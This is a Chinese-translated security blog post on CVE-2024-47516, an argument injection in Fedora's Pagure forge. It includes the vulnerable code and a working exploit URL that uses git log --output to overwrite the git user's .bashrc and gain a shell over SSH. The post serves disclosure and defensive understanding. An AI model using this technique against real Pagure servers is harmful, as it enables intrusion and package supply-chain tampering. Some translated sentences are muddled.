Supply Chain Attacks on Linux distributions - Fedora Pagure | blogpost

Linux 发行版供应链攻击案例 - Fedora Pagure 分析

09 Mar 2025 By Thomas Chauchefoin
---|---
注意: 本文是关于 Linux 发行版基础设施安全系列文章的一部分,如果您尚未阅读,请务必先阅读我们的 介绍!。这是 Fenrisk 的朋友 Thomas Chauchefoin 的一篇客座博客文章。

为什么选择 Pagure?

正如在元文章中讨论的那样,我们从 Fedora Apps Directory 中选择了 Pagure,并且已经有了一个技术方案。软件 forge 很可能成为参数注入的一个良好目标:我们可以预期即使使用了 libgit2 bindings,后端也会 shell out。

此外,这是一个自助服务应用程序,任何人都可以创建一个 Fedora contributor account 并获得对各种服务的身份验证访问权限。例如,这允许用户报告 packaging issues 并直接在 Pagure 上做出贡献。 Fedora packages 由几个文本文件组成,例如 OpenSSH 的例子:

虽然 sources 文件允许验证 upstream code 的完整性,但攻击者修改任何其他文件都可以很容易地偷偷插入恶意代码。

我们的发现

我们的努力导致了 CVE-2024-47516,一个在 PagureRepo.log() 中的 argument injection。它允许写入 arbitrary files,从而可以在任何 Pagure instance 上执行 arbitrary code。在最初的报告后,我们能够在我们(痛苦地损坏的)local instance 和 Fedora staging server 上确认该漏洞。

我们还发现了其他 3 个漏洞,我们不会在本文中详细介绍——请随意尝试根据它们的 CVEs 进行 PoC。第一个是经典的 path traversal,而另外两个与 Pagure 处理 repository files 的方式有关,并且都导致了 RCE:

这些 bugs 本来可以让我们修改存储在 Pagure 上的任何 repositories,从而修改任何 Fedora package 的 specification 来更改它的 upstream sources、scripts 或 distribution patches。对于如此简单的 bugs 来说,影响相当大,不是吗?

CVE-2024-47516: PagureRepo.log() 中的 Argument Injection

正如我们所预期的,strace 和一个快速手动的 bottom-up code review 揭示了许多对 git binary 的调用,尽管 Python bindings 围绕 libgit2 在项目中可用。

在下面的代码片段中,请注意 docstring 解释了为什么不使用 Python bindings,以及命令行中存在 --。 这不是 POSIX end-of-options switch,而是 Git 特有的分隔符,用于区分 references 和 paths,虽然应该使用 Git 的 --end-of-options,但只有 log_options 和 fromref 在这里是可以注入的。 lib/repo.py

@staticmethod
def log(path, log_options=None, target=None, fromref=None):
"""Run git log with the specified options at the specified target.

  This method runs the system's `git log` command since pygit2 doesn't
  offer us the possibility to do this via them. [...]
  """
  cmd = ["git", "log"]
  if log_options:
    cmd.extend(log_options)
  if fromref:
    cmd.append(fromref)
  if target:
    cmd.extend(["--", target])

  return run_command(cmd, cwd=path)

此函数只有一个交叉引用,其中明确指出 fromref 被 query parameter identifier 污染: lib/repo.py

@UI_NS.route("/<repo>/history/<path:filename>")
@UI_NS.route("/<namespace>/<repo>/history/<path:filename>")
# [...]
def view_history_file(repo, filename, username=None, namespace=None):
  # [...]
  branchname = flask.request.args.get("identifier")
  if repo_obj.is_empty:
    flask.abort(404, description="Empty repo cannot have a file")
  # [...]
  try:
    log = pagure.lib.repo.PagureRepo.log(
      flask.g.reponame,
      log_options=["--pretty=oneline", "--abbrev-commit"],
      target=filename,
      fromref=branchname,
    )
  # [...]

通过 identifier,我们可以将 option-argument --output 注入到 git log 中以创建一个新文件,或者在权限允许的情况下替换现有文件。 它将包含由 filename 指向的文件的 Git history 的副本。

$ man git-log
NAME
   git-log - Show commit logs
...skipping...
   --output=<file>
     Output to a specific file instead of stdout.

例如,通过发送一个请求到 http://pagure.local/test/history/README.md?identifier=--output=/tmp/foo.bar,它会创建文件,内容是文件 README.md 的 history:

理论

这是一个强大的 primitive,如果我们针对 scripts 而不是 configuration files,那么 mandatory prefix(short Git commit identifier)可能不会成为一个很大的障碍。 例如,对于 Python script,我们可以用冒号开始 commit message,然后添加 arbitrary code,只要 commit identifier 不是以数字开头即可。

我们还注意到,请求一个不存在的文件的 history 是可行的,只会导致一个空文件。 如果 destination file 存在,它将被截断。

因为触发 injection 不需要 Pagure instance 上的 account,所以我们开始考虑可以截断或替换成不受我们控制的 repository 的 history 的内容,比如 Git hooks 或 configuration files。

但再说一次,这是一个自助服务应用程序,我们可以在上面自由创建一个 account 并拥有自己的 repository(和 commit history),所以何必费心呢!

例如,我们已经知道,当我们有能力截断 arbitrary files 时,Git repositories 会变得有趣,但这在这里行不通,因为 Pagure 将它们存储为 bare repositories。 如果我们试图通过 web UI 竞争编辑 repository,我们仍然需要猜测/找到 temporary folder 的名称。

我们也可以覆盖 application 的 Python files。 它在从 source 部署的 Pagure 上在 locally 起作用,但是在验证 staging instance 上的发现时,我们注意到这个想法和其他一些想法根本不起作用! 该 instance 必须是从 Fedora RPM packages 部署的,application files 由 root 拥有。

现实

我们需要找到其他 target files 来覆盖,mandatory prefix 希望不会破坏任何东西。 我们无法接触 Pagure code,需要回退到一个 configuration file 或它存储的 data:我们选择了 OpenSSH 背后的 custom authentication system。

有没有想过 GitHub、GitLab 和其他网站是如何让所有用户通过 SSH 以 git 身份进行身份验证的? 在我们的例子中,Pagure 配置 sshd 在每次连接时调用 keyhelper.py,通过 AuthorizedKeysCommand 传递任何 SSH key。 OpenSSH 自动传递有关当前 system user(git 及其 home,/srv/git/)、key type 及其 fingerprint 的信息,供 keyhelper.py 使用。 /etc/ssh/sshd_config

Match User git
  AuthorizedKeysCommand /usr/libexec/pagure/keyhelper.py "%u" "%h" "%t" "%f"
  AuthorizedKeysCommandUser git

此时,用户仍然没有通过 SSH 进行身份验证,keyhelper.py 需要确定 Pagure account 在其 account settings 中是否具有此 key。 /usr/libexec/pagure/keyhelper.py

# [...]
username, userhome, keytype, fingerprint = sys.argv[1:5]
# [...]
pagure_url = pagure_config["APP_URL"].rstrip("/")
url = "%s/pv/ssh/lookupkey/" % pagure_url
data = {"search_key": fingerprint}
# [...]
headers = {}
if pagure_config.get("SSH_ADMIN_TOKEN"):
  headers["Authorization"] = "token %s" % pagure_config["SSH_ADMIN_TOKEN"]
resp = requests.post(url, data=data, headers=headers, verify=False)
if not resp.status_code == 200:
  print(
    "Error during lookup request: status: %s" % resp.status_code,
    file=sys.stderr,
  )
  print(resp.text)
  sys.exit(1)
result = resp.json()
if not result["found"]:
  # Everything OK, key just didn't exist.
  sys.exit(0)
print(
  "%s%s"
  % (pagure_config["SSH_KEYS_OPTIONS"] % result, result["public_key"])
)

它以 AuthorizedKeys 格式返回一行,如果 public key 已知,则 SSH_KEYS_OPTIONS 设置为 restrict,command="/usr/libexec/pagure/aclchecker.py %(username)s"restrict 禁止了 port forwarding 和执行像 ~/.ssh/rc 这样的文件(这将是我们的一个很好的 target!),而 command 强制执行 aclchecker.py

这个 script 最终获取了用户想要执行的 SSH command,确保它是 Git fetch command (git-receive-pack, git-upload-pack),并执行它: /usr/libexec/pagure/aclchecker.py

if "SSH_ORIGINAL_COMMAND" not in os.environ:
  print("Welcome %s. This server does not offer shell access." % sys.argv[1])
  sys.exit(0)
# [...]
args = os.environ["SSH_ORIGINAL_COMMAND"].split(" ")
# Expects: <git-(receive|upload)-pack> <repopath>
if len(args) != 2:
  print("Invalid call, too few inner arguments", file=sys.stderr)
  sys.exit(1)
cmd = args[0]
gitdir = args[1]
if cmd not in ("git-receive-pack", "git-upload-pack"):
  print("Invalid call, invalid operation", file=sys.stderr)
  sys.exit(1)
# [...]
runargs = [arg % result for arg in runner]
if env:
  for key in env:
    os.environ[key] = env[key] % result
os.execvp(runargs[0], runargs)

实际上,尝试通过 SSH 连接到服务器并请求 shell 将正确地验证我们的身份,但是因为我们没有要求执行任何这些 Git operations,所以会向我们显示一个错误:

thomas@foobar ~ % ssh git@pagure.local
PTY allocation request failed on channel 0
Welcome thomas. This server does not offer shell access.
Connection to pagure.local closed.

让我们在 git clone 期间运行此整个过程的 strace——notice 任何有趣的事情吗?

[pid3817]execve("/usr/libexec/pagure/keyhelper.py",["/usr/libexec/pagure/keyhelper.py","git","/srv/git","ssh-ed25519","SHA256:GgKi0ddkGVKnfUzd8kwjxIM9e"..
.],["PATH=/usr/local/bin:/usr/bin:/us"...,"USER=git","LOGNAME=git","HOME=/srv/git","LANG=en_US.UTF-8"])=0
[...]
[pid3834]execve("/bin/bash",["bash","-c","/usr/libexec/pagure/aclchecker.p"...],["USER=git","LOGNAME=git","HOME=/srv/git","PATH=/usr/local/bin:/usr/bin:
/us"...,"SHELL=/bin/bash","MOTD_SHOWN=pam","XDG_SESSION_ID=71","XDG_RUNTIME_DIR=/run/user/1001","DBUS_SESSION_BUS_ADDRESS=unix:pa"...,"XDG_SESSION_TYPE=tty"
,"XDG_SESSION_CLASS=user","SSH_CLIENT=192.168.77.1 56903 22","SSH_CONNECTION=192.168.77.1 5690"...,"SSH_ORIGINAL_COMMAND=git-upload-"...])=0
#[...]
[pid3834]openat(AT_FDCWD</srv/git>,"/srv/git/.bashrc",O_RDONLY)=-1ENOENT(Nosuchfileordirectory)
[pid3834]execve("/usr/libexec/pagure/aclchecker.py",["/usr/libexec/pagure/aclchecker.p"...,"thomas"],["SHELL=/bin/bash","PWD=/srv/git","LOGNAME=git","XDG
_SESSION_TYPE=tty","MOTD_SHOWN=pam","HOME=/srv/git","SSH_ORIGINAL_COMMAND=git-upload-"...,"SSH_CONNECTION=192.168.77.1 5690"...,"XDG_SESSION_CLASS=user","US
ER=git","SHLVL=0","XDG_SESSION_ID=71","XDG_RUNTIME_DIR=/run/user/1001","SSH_CLIENT=192.168.77.1 56903 22","PATH=/usr/local/bin:/usr/bin:/us"...,"DBUS_SESSIO
N_BUS_ADDRESS=unix:pa"...,"=/usr/libexec/pagure/aclchecker"...])=0
#[...]

command directive 是用用户的 shell bash 执行的,因此它尝试加载他们的 .bashrc

对于这个用户来说拥有 shell 听起来可能很奇怪,但是实际上这个 system 需要这样做才能工作:他们需要用几个参数执行 Python scripts 以验证 Pagure user 的身份,并且因为所有用户都以 git 的身份连接,所以这些 scripts 也负责 authorizations checks。 SSH 使用用户的 shell 来执行这个强制 command 听起来非常合理。

我们不能将 git 的 shell 更改为 /sbin/nologin/bin/false,否则用户将无法通过 SSH 连接。

(platform sourcehut 使用了类似的 model,我们强烈建议阅读What happens when you push to git.sr.ht, and why was it so slow? 以了解有关此实现的更多信息)。

回到我们的案例:我们只需要覆盖 git.bashrc,我们将在执行 script aclchecker.py 之前获得一个正确的 shell。 如前所示,我们将首先需要创建我们的 repository 并发送一个请求到 http://pagure.local/test/history/README.md?identifier=--output=/srv/git/.bashrc

Bash 非常宽松,因此 mandatory prefix 不会成为问题,我们可以使用 operator || 来执行另一个 command,因为第一个 command 不会被找到: 这是在利用 argument injection 覆盖 /srv/git/.bashrc 之后的样子:任何 Pagure user 都将获得一个 shell。

thomas@foobar~%sshgit@pagure.local
PTYallocationrequestfailedonchannel0
/srv/git/.bashrc:line1:cc75d10:commandnotfound
uname-a
Linuxpagure.local6.8.9-100.fc38.aarch64#1SMPPREEMPT_DYNAMICThuMay219:13:01UTC2024aarch64GNU/Linux
id
uid=1001(git)gid=1001(git)groups=1001(git)
/srv/git/.bashrc:line2:573f846:commandnotfound
Welcomethomas.Thisserverdoesnotoffershellaccess.
Connectiontopagure.localclosed.
披露

我们在 2024 年 4 月通过 Red Hat’s Bugzilla 向 Pagure maintainers 披露了这个漏洞,并在几个小时后迅速在 production systems 上进行了 patched(!!)。 然后,我们保持联系,并在 5 月与我们的其他报告一起发布 Pagure 5.14.1 的 official release of Pagure 5.14.1 之前审查了 patches。

我们应该注意到,这些都是 one-off fixes,并没有真正解决更深层次的根本原因。 仍然存在一堆 external git invocations,而不是对 libgit2 的调用,但至少我们对我们报告的特定漏洞的 patches 感到满意。

在一个与我们的工作无关的决定中,Fedora 决定从 Pagure 迁移到 Forgejo,这是 Gitea 的一个 fork。 从安全的角度来看,我们只能欢迎这种改变,因为 Forgejo 受益于一个活跃的社区。 它从 Gogs 走了很长一段路——Thomas 在那里基本上发现了 same vulnerabilities——并避免了 GitLab monoculture。 我们只是对 Forjero 的安全记录和 their 3 CVEs 感到惊讶。 相反,当新的 security release 发布时,他们会在 short advisories on their bug tracker 上发布。

结论

总的来说,这是一个非常简单的 bug,仅仅是因为利用过程中的一些小 twist 和它巨大的影响才变得在技术上很有趣。 迁移到 Forgejo 将希望使 Fedora 的 package hosting platform 不再那么容易成为 target,并降低此类 supply chain attacks 的可能性。

Share on:

Thomas Chauchefoin

Thomas Chauchefoin

Thomas Chauchefoin (@swapgs@infosec.exchange) 是 Bentley Systems 的 Principal Application Security Engineer。凭借在 offensive security 方面的强大背景,他帮助发现并负责任地披露 major open-source software 中的 0-days。 他还参加了 Pwn2Own 或 Hack-a-Sat 等比赛,并因他对 PHP supply chain security 的研究而被提名为两项 Pwnies Awards。